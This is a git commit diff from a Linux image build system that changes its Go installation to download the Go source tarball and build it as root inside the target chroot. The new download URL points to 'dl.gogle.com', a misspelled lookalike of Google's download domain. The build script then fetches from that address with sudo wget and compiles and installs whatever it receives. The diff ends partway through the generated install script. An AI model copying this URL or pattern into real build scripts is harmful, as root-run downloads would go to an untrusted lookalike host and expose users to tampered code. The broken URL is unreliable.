Install golang from source.

This commit is contained in:
parazyd 2018-01-16 12:42:25 +01:00
parent 512b4b56c9
commit a43f1a40b3
No known key found for this signature in database
GPG Key ID: F0CB28FCF78637DE
2 changed files with 10 additions and 7 deletions

4
config
View File

@ -6,9 +6,7 @@ image_name="${blend_name}-${blend_vers}-${arch}"
golang_version="1.9.2"
golang_arch="amd64"
[[ -n "$armsdk_version" ]] && golang_arch="armv6l"
golang_url="https://storage.googleapis.com/golang/go${golang_version}.linux-${golang_arch}.tar.gz"
golang_url="https://dl.gogle.com/go/go${golang_version}.src.tar.gz"
tomb_version="v2.4"
tomb_url="https://github.com/dyne/tomb.git"

View File

@ -112,14 +112,19 @@ blend_install_golang() {
ckreq || return 1
notice "grabbing golang tarball"
sudo curl -o "$strapdir/usr/local/go.tgz" "${golang_url}"
pushd "$strapdir"/usr/local
sudo wget "${golang_url}"
popd
notice "unpacking golang in $strapdir"
notice "installing golang in $strapdir"
cat <<EOF | sudo tee ${strapdir}/install-golang >/dev/null
#!/bin/sh
cd /usr/local
tar xvf go.tgz
rm -f go.tgz
tar xvf $(basename ${golang_url})
rm -f $(basename ${golang_url})
cd go/src
CGO_ENABLED=0 ./make.bash
ln -snvf /usr/local/go/bin/go /usr/local/bin/go
ln -snvf /usr/local/go/bin/gofmt /usr/local/bin/gofmt